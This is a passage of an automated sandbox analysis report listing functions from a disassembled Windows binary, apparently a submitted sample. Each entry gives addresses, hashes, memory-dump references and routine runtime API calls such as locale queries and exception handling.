Opcode Fuzzy Hash: 36a114f48129b07f88941a07a36be4ddfa0f47e9764112a92cdab29d78eeb2f4
Instruction Fuzzy Hash: D531983191051E9FCB55CF64C9409FDB7F9BF09310B184159D601A3A90EB72EE44DB50

Function 0010655F Relevance: 1.6, APIs: 1, Instructions: 57
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.2600968507.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.2600924617.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601002419.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601020508.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601052391.0000000000171000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_mkFOY01Gl5.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 902c9b452677ec06fdcb28c7a560fece48e1bbe08c6f0f9a33ff59ca2c123724
Instruction ID: 5b67ad2fd7586c6550277ecc2c2481a61bc17f84157a10a8010e8f6a43f7eec7
Opcode Fuzzy Hash: 902c9b452677ec06fdcb28c7a560fece48e1bbe08c6f0f9a33ff59ca2c123724
Instruction Fuzzy Hash: EC01D437700225AFDB269F69EC4195A37E7ABC53F07298620F944CB5D8EBB0D861C790

Non-executed Functions

Function 0010E8C8 Relevance: 10.2, APIs: 1, Strings: 4, Instructions: 1436COMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 0010EAAC

Strings

1#SNAN, xrefs: 0010E9D4
1#QNAN, xrefs: 0010E9DB
1#IND, xrefs: 0010E9CD
1#INF, xrefs: 0010E9FE

Memory Dump Source

Source File: 00000000.00000002.2600968507.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.2600924617.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601002419.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601020508.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601052391.0000000000171000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_mkFOY01Gl5.jbxd

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: 09f575395fc5b91562471791b254729d5b340b94d6b688dc575fe1ada46878e0
Instruction ID: 4bb49e5798749ae045ead188a28f1ad40990007d73231863554395187ef29ef4
Opcode Fuzzy Hash: 09f575395fc5b91562471791b254729d5b340b94d6b688dc575fe1ada46878e0
Instruction Fuzzy Hash: 1CD23B71E082298FDB75CE28CD417EAB7B5EB44344F1445EAD48DE7680D7B8AE828F41

Function 0010DD28 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,0010E046,00000002,00000000,?,?,?,0010E046,?,00000000), ref: 0010DDC1
GetLocaleInfoW.KERNEL32(?,20001004,0010E046,00000002,00000000,?,?,?,0010E046,?,00000000), ref: 0010DDEA
GetACP.KERNEL32(?,?,0010E046,?,00000000), ref: 0010DDFF

Strings

ACP, xrefs: 0010DD46
OCP, xrefs: 0010DD7C

Memory Dump Source

Source File: 00000000.00000002.2600968507.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.2600924617.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601002419.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601020508.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601052391.0000000000171000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_mkFOY01Gl5.jbxd

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: 93a25ab8ec256ffe9d154beb93977dd718e74721d2e6c7a6110726ddbf970784
Instruction ID: 985036c036193ae891d38992d7c21ba2a1fbdd5f3b535b40377bc2b94b21f33d
Opcode Fuzzy Hash: 93a25ab8ec256ffe9d154beb93977dd718e74721d2e6c7a6110726ddbf970784
Instruction Fuzzy Hash: E521D332700104E6DB399FD8EA00BA777A6EF50B60B578064E98ADB1C0F7B2DD80D790

Function 0010DEFD Relevance: 7.7, APIs: 5, Instructions: 183COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 001041E0: GetLastError.KERNEL32(?,00000008,0010708C), ref: 001041E4
Part of subcall function 001041E0: SetLastError.KERNEL32(00000000,00000001,00000005,000000FF), ref: 00104286

GetUserDefaultLCID.KERNEL32(?,?,?,00000055,?), ref: 0010E009
IsValidCodePage.KERNEL32(00000000), ref: 0010E052
IsValidLocale.KERNEL32(?,00000001), ref: 0010E061
GetLocaleInfoW.KERNEL32(?,00001001,-00000050,00000040,?,000000D0,00000055,00000000,?,?,00000055,00000000), ref: 0010E0A9
GetLocaleInfoW.KERNEL32(?,00001002,00000030,00000040), ref: 0010E0C8

Memory Dump Source

Source File: 00000000.00000002.2600968507.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.2600924617.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601002419.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601020508.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601052391.0000000000171000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_mkFOY01Gl5.jbxd

Similarity

API ID: Locale$ErrorInfoLastValid$CodeDefaultPageUser
String ID:
API String ID: 415426439-0
Opcode ID: 685f86b02c4f2f52c3f3f3fc24ada26bb4db944eb8ca37a442fc682fa5652914
Instruction ID: 1eda1e812d5d4e00a9b32cc9285489ae739c511b1f1759b558e9872be04928c7
Opcode Fuzzy Hash: 685f86b02c4f2f52c3f3f3fc24ada26bb4db944eb8ca37a442fc682fa5652914
Instruction Fuzzy Hash: 5F518E71A00206ABDB14DFA5DC41ABAB7B8BF58700F048869F981EB1D1E7F09A418B61

Function 0010D599 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 251COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 001041E0: GetLastError.KERNEL32(?,00000008,0010708C), ref: 001041E4
Part of subcall function 001041E0: SetLastError.KERNEL32(00000000,00000001,00000005,000000FF), ref: 00104286

GetACP.KERNEL32(?,?,?,?,?,?,00102903,?,?,?,00000055,?,-00000050,?,?,00000004), ref: 0010D65A
IsValidCodePage.KERNEL32(00000000,?,?,?,?,?,?,00102903,?,?,?,00000055,?,-00000050,?,?), ref: 0010D685
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,-00000050,00000000,000000D0), ref: 0010D7E8

Strings

utf8, xrefs: 0010D757

Memory Dump Source

Source File: 00000000.00000002.2600968507.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.2600924617.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601002419.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601020508.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601052391.0000000000171000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_mkFOY01Gl5.jbxd

Similarity

API ID: ErrorLast$CodeInfoLocalePageValid
String ID: utf8
API String ID: 607553120-905460609
Opcode ID: 303e4c0882863491b34e5ce0fbe4f7776dc098e4007e328025c9e27768c3f6dc
Instruction ID: 46f8a7dd69f9efd64d24cd5529d6ac6ca273fc9dc1fd0737b7215933fab1ffa7
Opcode Fuzzy Hash: 303e4c0882863491b34e5ce0fbe4f7776dc098e4007e328025c9e27768c3f6dc
Instruction Fuzzy Hash: D571E871600302AAD729ABB5EC86BBB77A8EF54704F14442AF585D71C1EBF1ED40CBA1

Function 00105289 Relevance: 6.3, APIs: 4, Instructions: 337COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00105316

Memory Dump Source

Source File: 00000000.00000002.2600968507.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.2600924617.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601002419.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601020508.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601052391.0000000000171000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_mkFOY01Gl5.jbxd

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: 2f7a989578186c1f6a0fdb5e5d34400678512d60c2caa00803a6b2ba2aa04570
Instruction ID: a79f71c0452925b8025b323ffcfbb1c6f576a8134f5cd54f98da683ec349b0d4
Opcode Fuzzy Hash: 2f7a989578186c1f6a0fdb5e5d34400678512d60c2caa00803a6b2ba2aa04570
Instruction Fuzzy Hash: 9BB13632904A459FDB158F68C8817FFBBA7EF55340F158169E885EB282D3B49D41CFA0

Function 000F7CC9 Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,?), ref: 000F7CD5
IsDebuggerPresent.KERNEL32 ref: 000F7DA1
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 000F7DBA
UnhandledExceptionFilter.KERNEL32(?), ref: 000F7DC4

Memory Dump Source

Source File: 00000000.00000002.2600968507.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.2600924617.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601002419.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601020508.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601052391.0000000000171000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_mkFOY01Gl5.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 3c44edf08208ff73288b4d599929a36beaf80d1419debf9b7ab96fd7c9619f94
Instruction ID: c51eb5930ceb031b6b645d5d099f4c426a84cfa542342c59a4e3018f06fb6065
Opcode Fuzzy Hash: 3c44edf08208ff73288b4d599929a36beaf80d1419debf9b7ab96fd7c9619f94
Instruction Fuzzy Hash: 213105B5C0521CDADF20DFA4D949BDDBBB8BF08304F1041AAE50CAB250EB719A849F85

Function 0010D9AC Relevance: 4.7, APIs: 3, Instructions: 205COMMON

Download Yara Rule

APIs

Part of subcall function 001041E0: GetLastError.KERNEL32(?,00000008,0010708C), ref: 001041E4
Part of subcall function 001041E0: SetLastError.KERNEL32(00000000,00000001,00000005,000000FF), ref: 00104286

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 0010DA00
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 0010DA4A
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 0010DB10

Memory Dump Source

Source File: 00000000.00000002.2600968507.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.2600924617.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601002419.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601020508.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601052391.0000000000171000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_mkFOY01Gl5.jbxd

Similarity

API ID: InfoLocale$ErrorLast
String ID:
API String ID: 661929714-0
Opcode ID: 322b082648c9839749ee2f45b8de748c544d2f1283435938de57bc3ae129e237
Instruction ID: 1fbd4b75c27b983602353252323807b533a3e345109e1592032d65497a84f1e9
Opcode Fuzzy Hash: 322b082648c9839749ee2f45b8de748c544d2f1283435938de57bc3ae129e237
Instruction Fuzzy Hash: BE61BE71A0420BDBEB28DF68EC82BAAB7A8EF15301F154179E985C75C5F7B4D980CB50

Function 000FBA03 Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,00000001), ref: 000FBAFB
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,00000001), ref: 000FBB05
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,00000001), ref: 000FBB12

Memory Dump Source

Source File: 00000000.00000002.2600968507.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.2600924617.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601002419.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601020508.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601052391.0000000000171000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_mkFOY01Gl5.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: 8ebf63dbca40dcc65a7dc553bf99a16ccce5ad4fcb5bd1bd7a79cc1b05db3e67
Instruction ID: 2543687b377288e09e1dc258c0711c4d15158b31b0dc9266f35dcb3d8e44a3cb
Opcode Fuzzy Hash: 8ebf63dbca40dcc65a7dc553bf99a16ccce5ad4fcb5bd1bd7a79cc1b05db3e67
Instruction Fuzzy Hash: 0C31C27490121C9BCB21DF68D988BDDBBB4BF08310F5041DAE51CA6251EB709F818F45

Function 00100B00 Relevance: 3.4, APIs: 2, Instructions: 449COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2600968507.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.2600924617.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601002419.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601020508.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601052391.0000000000171000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_mkFOY01Gl5.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 349bac49a2cf059cb2622c8f5045624a5e235da172517e6992a086ebdc4c2b38
Instruction ID: e7b6fa44e498600c45004f73b85dc0dfb128b497a1f2863d09f5f71bdd3cd626
Opcode Fuzzy Hash: 349bac49a2cf059cb2622c8f5045624a5e235da172517e6992a086ebdc4c2b38
Instruction Fuzzy Hash: 67F13E71E002199FDF15CFA8C990BADB7B1FF48314F158269E859AB381D770AE41CB90

Function 00104869 Relevance: 1.8, APIs: 1, Instructions: 274COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000000), ref: 00104A96

Memory Dump Source

Source File: 00000000.00000002.2600968507.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.2600924617.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601002419.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601020508.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601052391.0000000000171000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_mkFOY01Gl5.jbxd

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: b8af45cb6e8385fc78166538da934a2722e076621582241bd68de28bb286f654
Instruction ID: 75d22d57e1c996d215060a7a58ec31e41fa751fe8d68beaab83e1650bd5d905e
Opcode Fuzzy Hash: b8af45cb6e8385fc78166538da934a2722e076621582241bd68de28bb286f654
Instruction Fuzzy Hash: 8AB11671610608DFD718CF28C4C6B657BA0FB49364F298658EADACF2E1C775E992CB40

Function 000F779C Relevance: 1.6, APIs: 1, Instructions: 147COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 000F77B2

Memory Dump Source

Source File: 00000000.00000002.2600968507.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.2600924617.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601002419.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601020508.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601052391.0000000000171000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_mkFOY01Gl5.jbxd

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: a2d3feb7cb4e74f9e70c064c1264570f8fe8426ae94598deda0642b3923d4622
Instruction ID: 4584458d30372045d372d7b13660c68ae7ac5acc10ea5c9b573b3fc651fd8bfd
Opcode Fuzzy Hash: a2d3feb7cb4e74f9e70c064c1264570f8fe8426ae94598deda0642b3923d4622
Instruction Fuzzy Hash: BF519272904219CFEB15CF94DC857AABBF0FB48354F24852AD509EBB51D3B49980CB91

Function 0010AA16 Relevance: 1.6, APIs: 1, Instructions: 140COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2600968507.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.2600924617.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601002419.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601020508.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601052391.0000000000171000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_mkFOY01Gl5.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 11907cf0b1f14f76f6b4471cd16b0d2aa1b9c7109bbcfff83a7118a943b57ba5
Instruction ID: ac30b14e85d76341ffb66bd14d87bd1113a155a0b49bc18b44b7c999bf1f47bf
Opcode Fuzzy Hash: 11907cf0b1f14f76f6b4471cd16b0d2aa1b9c7109bbcfff83a7118a943b57ba5
Instruction Fuzzy Hash: 4A41B1B5804218AFDF20DF69CC89AEABBB9EF49300F5442D9E448D3241DB759E848F50

Function 000FDAB4 Relevance: 1.6, Strings: 1, Instructions: 344COMMON

Download Yara Rule

Strings

0, xrefs: 000FDC42

Memory Dump Source

Source File: 00000000.00000002.2600968507.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.2600924617.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601002419.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601020508.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601052391.0000000000171000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_mkFOY01Gl5.jbxd

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 7b20df1781b90c238a9092cdaf01cb0194f73bd64abf14a3ea8c0c1cfcb51fee
Instruction ID: 90287dbeaa4372d9392487b253757a48c608f089e67a94fdbb891a561ba9f185
Opcode Fuzzy Hash: 7b20df1781b90c238a9092cdaf01cb0194f73bd64abf14a3ea8c0c1cfcb51fee
Instruction Fuzzy Hash: 6BC1DF70A0064ECFCB68CF68C4946BEBBF3AF05310F14461ED6569BA92C770AC45EB91

Function 0010DBFF Relevance: 1.6, APIs: 1, Instructions: 83COMMON

Download Yara Rule

APIs

Part of subcall function 001041E0: GetLastError.KERNEL32(?,00000008,0010708C), ref: 001041E4
Part of subcall function 001041E0: SetLastError.KERNEL32(00000000,00000001,00000005,000000FF), ref: 00104286

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 0010DC53

Memory Dump Source

Source File: 00000000.00000002.2600968507.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.2600924617.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601002419.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601020508.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601052391.0000000000171000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_mkFOY01Gl5.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: ee258fceb55c07ac49a06865a55387115ae1f193b7411e9d411a1fedebe36486
Instruction ID: 3a1f1d326a2b9b5729a0b021caf136864bf5e89a4d4b11554fa1b4ce86df93e7
Opcode Fuzzy Hash: ee258fceb55c07ac49a06865a55387115ae1f193b7411e9d411a1fedebe36486
Instruction Fuzzy Hash: B621C576604206ABEB289F55ED42EBA77A8EF14310F14407DFE45C6181EBF5ED40DB50

Function 0010D886 Relevance: 1.6, APIs: 1, Instructions: 63COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 001041E0: GetLastError.KERNEL32(?,00000008,0010708C), ref: 001041E4
Part of subcall function 001041E0: SetLastError.KERNEL32(00000000,00000001,00000005,000000FF), ref: 00104286

EnumSystemLocalesW.KERNEL32(0010D9AC,00000001,00000000,?,-00000050,?,0010DFDD,00000000,?,?,?,00000055,?), ref: 0010D8F8

Memory Dump Source

Source File: 00000000.00000002.2600968507.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.2600924617.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601002419.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601020508.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601052391.0000000000171000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_mkFOY01Gl5.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 846eb64228c50dd8b710cbd6f9a7ea6febbb4b06155c9057b0bd31ca8f1b3c62
Instruction ID: b5e37c727f270376926eebd7c038df12d81563d91023e9e5ed54cf93db5aa54c
Opcode Fuzzy Hash: 846eb64228c50dd8b710cbd6f9a7ea6febbb4b06155c9057b0bd31ca8f1b3c62
Instruction Fuzzy Hash: 2D110C3B2107059FDB189F79D8916BAB792FF84358B14842DE9C687A80D3B17942C740

Function 0010DE2E Relevance: 1.5, APIs: 1, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 001041E0: GetLastError.KERNEL32(?,00000008,0010708C), ref: 001041E4
Part of subcall function 001041E0: SetLastError.KERNEL32(00000000,00000001,00000005,000000FF), ref: 00104286

GetLocaleInfoW.KERNEL32(?,20000001,?,00000002,?,00000000,?,?,0010DBC8,00000000,00000000,?), ref: 0010DE5A

Memory Dump Source

Source File: 00000000.00000002.2600968507.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.2600924617.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601002419.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601020508.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601052391.0000000000171000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_mkFOY01Gl5.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: b848b2a44555d3fc6c34af5a3de6840613346c60b7eb5e3355594aedc52a841f
Instruction ID: bd75ce2b98c00fc4f6083c4717dfdb92a27c1249101344fa56362e7d575a72cd
Opcode Fuzzy Hash: b848b2a44555d3fc6c34af5a3de6840613346c60b7eb5e3355594aedc52a841f
Instruction Fuzzy Hash: ADF02836610212BBDB285BA0EC46BBBB768EB50754F150429EC86A71C0EBF4FE41C690

Function 0010D794 Relevance: 1.5, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

Part of subcall function 001041E0: GetLastError.KERNEL32(?,00000008,0010708C), ref: 001041E4
Part of subcall function 001041E0: SetLastError.KERNEL32(00000000,00000001,00000005,000000FF), ref: 00104286

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,-00000050,00000000,000000D0), ref: 0010D7E8

Strings

utf8, xrefs: 0010D757

Memory Dump Source

Source File: 00000000.00000002.2600968507.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.2600924617.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601002419.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601020508.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601052391.0000000000171000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_mkFOY01Gl5.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID: utf8
API String ID: 3736152602-905460609
Opcode ID: 2c7aa8634a7924cc9fdf854d9ef3c80d9b26c8ecd4d97eea95ceb1347ce6ba8f
Instruction ID: f2fe080594ea177ffd188ed05a5f7d2c0a235dff8d6c755ab4b39059943f64e1
Opcode Fuzzy Hash: 2c7aa8634a7924cc9fdf854d9ef3c80d9b26c8ecd4d97eea95ceb1347ce6ba8f
Instruction Fuzzy Hash: 41F0F436600105ABC728AB64EC46ABA37A8DF58350B014179F602D7281EBB4AD048750

Function 0010D921 Relevance: 1.5, APIs: 1, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 001041E0: GetLastError.KERNEL32(?,00000008,0010708C), ref: 001041E4
Part of subcall function 001041E0: SetLastError.KERNEL32(00000000,00000001,00000005,000000FF), ref: 00104286

EnumSystemLocalesW.KERNEL32(0010DBFF,00000001,?,?,-00000050,?,0010DFA1,-00000050,?,?,?,00000055,?,-00000050,?,?), ref: 0010D96B

Memory Dump Source

Source File: 00000000.00000002.2600968507.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.2600924617.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601002419.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601020508.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2601052391.0000000000171000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_mkFOY01Gl5.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 438a480a9aa0dc0d8d01c1a9dea341dea1bd2f18210090445cfcccb0161724e9
Instruction ID: a093601f9c6457ebe960daea0519abb92243d7023617169503990bc22a9e5ce3
Opcode Fuzzy Hash: 438a480a9aa0dc0d8d01c1a9dea341dea1bd2f18210090445cfcccb0161724e9
Instruction Fuzzy Hash: 68F0C2762003045FDB245F79A882A7ABB91EF8576CB05846CF9854B6D0C7F1AC42C650

Function 001062CB Relevance: 1.5, APIs: 1, Instructions: 33COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 000FE9A9: EnterCriticalSection.KERNEL32(-001705FF,?,00101531,00000000,0011F1E8,0000000C,001014F8,?,?,00104EE2,?,?,0010437E,00000001,00000364,00000001), ref: 000FE9B8

EnumSystemLocalesW.KERNEL32(001062BE,00000001,0011F3D8,0000000C,0010672D,00000000), ref: 00106303

Memory Dump Source

